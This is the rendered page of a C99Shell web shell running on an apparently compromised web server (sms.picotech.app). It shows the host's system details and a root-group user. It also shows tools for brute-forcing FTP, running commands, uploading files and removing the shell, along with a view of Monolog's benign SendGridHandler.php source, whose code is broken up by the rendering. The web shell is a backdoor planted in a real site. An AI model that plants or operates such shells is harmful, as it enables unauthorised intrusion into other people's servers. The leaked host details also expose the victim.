!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html/vendor/monolog/monolog/src/Monolog/Handler/   drwxr-xr-x
Free 29.31 GB of 117.98 GB (24.84%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     SendGridHandler.php (3.02 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php declare(strict_types=1);

/*
 * This file is part of the Monolog package.
 *
 * (c) Jordi Boggiano <j.boggiano@seld.be>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Monolog\Handler;

use 
Monolog\Level;
use 
Monolog\Utils;

/**
 * SendGridHandler uses the SendGrid API v3 function to send Log emails, more information in https://www.twilio.com/docs/sendgrid/for-developers/sending-email/api-getting-started
 *
 * @author Ricardo Fontanelli <ricardo.fontanelli@hotmail.com>
 */
class SendGridHandler extends MailHandler
{
    
/**
     * The SendGrid API User
     * @deprecated this is not used anymore as of SendGrid API v3
     */
    
protected string $apiUser;
    
/**
     * The email addresses to which the message will be sent
     * @var string[]
     */
    
protected array $to;

    
/**
     * @param string|null $apiUser Unused user as of SendGrid API v3, you can pass null or any string
     * @param list<string>|string $to
     * @param non-empty-string $apiHost Allows you to use another endpoint (e.g. api.eu.sendgrid.com)
     * @throws MissingExtensionException If the curl extension is missing
     */
    
public function __construct(
        
string|null $apiUser,
        protected 
string $apiKey,
        protected 
string $from,
        array|
string $to,
        protected 
string $subject,
        
int|string|Level $level Level::Error,
        
bool $bubble true,
        
/** @var non-empty-string */
        
private readonly string $apiHost 'api.sendgrid.com',
    ) {
        if (!
\extension_loaded('curl')) {
            throw new 
MissingExtensionException('The curl extension is needed to use the SendGridHandler');
        }

        
$this->to = (array) $to;
        
// @phpstan-ignore property.deprecated
        
$this->apiUser $apiUser ?? '';
        
parent::__construct($level$bubble);
    }

    protected function 
send(string $content, array $records): void
    
{
        
$body = [];
        
$body['personalizations'] = [];
        
$body['from']['email'] = $this->from;
        foreach (
$this->to as $recipient) {
            
$body['personalizations'][]['to'][]['email'] = $recipient;
        }
        
$body['subject'] = $this->subject;

        if (
$this->isHtmlBody($content)) {
            
$body['content'][] = [
                
'type' => 'text/html',
                
'value' => $content,
            ];
        } else {
            
$body['content'][] = [
                
'type' => 'text/plain',
                
'value' => $content,
            ];
        }
        
$ch curl_init();
        
curl_setopt($chCURLOPT_HTTPHEADER, [
            
'Content-Type: application/json',
            
'Authorization: Bearer '.$this->apiKey,
        ]);
        
curl_setopt($chCURLOPT_URL'https://'.$this->apiHost.'/v3/mail/send');
        
curl_setopt($chCURLOPT_POSTtrue);
        
curl_setopt($chCURLOPT_RETURNTRANSFERtrue);
        
curl_setopt($chCURLOPT_POSTFIELDSUtils::jsonEncode($body));

        
Curl\Util::execute($ch2);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0033 ]--